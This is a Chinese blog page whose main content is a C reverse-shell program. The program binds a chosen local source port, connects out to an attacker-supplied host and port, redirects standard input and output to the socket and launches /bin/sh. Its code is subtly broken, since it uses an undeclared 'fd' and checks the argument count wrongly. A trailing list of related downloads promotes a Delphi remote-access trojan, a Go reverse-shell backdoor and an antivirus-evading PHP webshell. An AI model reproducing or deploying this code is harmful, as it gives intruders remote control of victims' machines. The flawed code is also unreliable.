`
to8to-bruce
  • 浏览: 7130 次
社区版块
存档分类
最新评论

C版设置源端口反弹程序

 
阅读更多
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 
void error(char *msg)
{
        perror(msg);
        exit(0);
}
 
int main(int argc, char *argv[])
{
        int sockfd, portno, lportno,n;
        struct sockaddr_in serv_addr;
        struct sockaddr_in client_addr;
        struct hostent *server;
 
        char buffer[256];
        if (argc < 3) {
                fprintf(stderr,"usage %s hostname port LocalPort\n", argv[0]);
                exit(0);
        }
        portno = atoi(argv[2]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
                error("ERROR opening socket");
 
 
        bzero((char *) &client_addr, sizeof(client_addr));
        lportno = atoi(argv[3]);
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = INADDR_ANY;
        client_addr.sin_port = htons(lportno);
        if (bind(sockfd, (struct sockaddr *) &client_addr,
                                sizeof(client_addr)) < 0)
                error("ERROR on binding");
 
 
 
        server = gethostbyname(argv[1]);
        if (server == NULL) {
                fprintf(stderr,"ERROR, no such host ");
                exit(0);
        }
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        bcopy((char *)server->h_addr,
                        (char *)&serv_addr.sin_addr.s_addr,
                        server->h_length);
        serv_addr.sin_port = htons(portno);
        if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)
                error("ERROR connecting");
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}
分享到:
评论

相关推荐

    vc++端口转发程序源代码

    修改的一个端口转发程序源代码,三种模式,多线程支持多连接,支持重连,有保活机制,与socks5服务器配合,可构成访问内网的socks5服务器。

    远程反弹木马软件Dephi源程序

    在本场景中,"远程反弹木马软件Delphi源程序"指的是使用Delphi编写的恶意软件源代码,这种软件通常被黑客用于非法活动,如远程控制、数据窃取或网络攻击。 远程反弹木马(Remote Access Trojan,RAT)是一种恶意...

    超声波PIC单片机C程序

    标题中的“超声波PIC单片机C程序”是指使用C语言编程,针对微控制器 PIC(Microchip Technology公司的产品)来实现超声波测距功能的项目。这种技术广泛应用于各种自动化设备、智能家居、机器人等领域,以实现非接触...

    51单片机开发板实验:独立按键去抖动程序源代码.rar

    C语言因其结构化、高效和可移植性而成为编写单片机程序的首选语言。 在51单片机上编写去抖动程序时,通常采用延时或循环检测两种方法。延时法是在检测到按键按下后,等待一段固定的时间(如10-20毫秒),再检测一次...

    hershell - Go语言反弹Shell后门.zip

    - **源代码**:Go语言的源代码文件,展示了如何构建反弹Shell的功能,包括连接回攻击服务器、接收命令并执行、返回结果等逻辑。 - **编译脚本**:用于构建可执行文件的脚本,可能包含平台特定的编译选项。 - **测试...

    AVR程序配置方式键盘扫描

    1. **初始化I/O端口**:在程序开始时,需要将用于检测按键的I/O端口设置为输入模式,并通常设置内部上拉电阻,以在未按下按键时保持高电平。这可以通过使用`DDRx`和`PORTx`寄存器来实现,其中`x`表示端口号。 2. **...

    51单片机测距程序

    提供的"0012"和"51单片机超声波测距程序"可能是源代码文件,其中可能包含了完整的测距算法和必要的初始化设置。 在实际应用中,开发者需要注意超声波测距的一些限制,比如声波在不同介质中的传播速度不同,环境温度...

    vc++ 应用源码包_1

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    430键盘程序

    1. 初始化:配置微控制器的GPIO端口,将行线设置为输出,列线设置为输入,并可能启用中断,以便在按键被按下时及时响应。 2. 扫描:周期性地切换行线为低电平并读取列线状态,通过逻辑分析判断是否有按键按下。对于...

    vc++ 开发实例源码包

    MP3解压程序源代码 如题。 MPEG4播放器源代码 如题。 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现...

    C语言软件请大家多多下载

    标题中的"C语言软件"指的是基于C编程语言开发的软件,这是一种广泛应用的编程语言,以其高效、灵活和跨平台的特性闻名。C语言是许多操作系统、应用程序和系统软件的基础,包括著名的Linux操作系统和各种编译器。 ...

    vc++ 应用源码包_5

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    实验2 按键实验_按键实验_

    代码应包括GPIO配置、中断设置(如果使用)、主循环或中断服务程序中的按键检测逻辑以及必要的去抖动处理。 通过这个按键实验,你可以学习到STM32微控制器的基本操作,如GPIO配置、中断处理以及简单的用户交互。...

    2010最新php免杀木马乱码优化版下载

    有些网站是utf8版的 要用utf8.php那个马编辑 ...这样就不会出现修改文件的时候出现中文乱码 1、超强的cookie功能。 2、加强文件管理功能,增加...10、linux主机端口反弹功能。使用PERL和C双重 实现。 默认密码 999999

    小米2019秋招安全开发笔试题.docx

    - 使用 `hook` 技术替换 C 库函数 `connect` 可以监控程序的网络连接行为。 - `auditd` 可以监控系统调用,包括 `connect`,从而记录网络连接事件。 - 所以,不能实现对系统网络外连行为监控的是 a. 查看 `/var/...

    vc++ 应用源码包_6

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    vc++ 应用源码包_3

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    vc++ 应用源码包_2

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    内网渗透讲解与实验手册

    - 可以将需要代理的程序进行设置。 #### 七、实验5:MSF进内网渗透 **实验环境描述:** - **基本信息:** 使用msf生成payload将msf用于内网渗透。 - **路径:** WinWeb服务器(192.168.20.162)。 - **使用工具:*...

    计算机专业毕业答辩 ppt

    6. 反弹性端口型木马:反弹性端口型木马的服务端使用主动端口,客户端使用被动端口。木马定时监侧控制端的存在,发现控制端上线立即弹出端口主动连接控制端打开的主动端口。 7. 木马的隐藏和加载:木马可以隐藏在...

Global site tag (gtag.js) - Google Analytics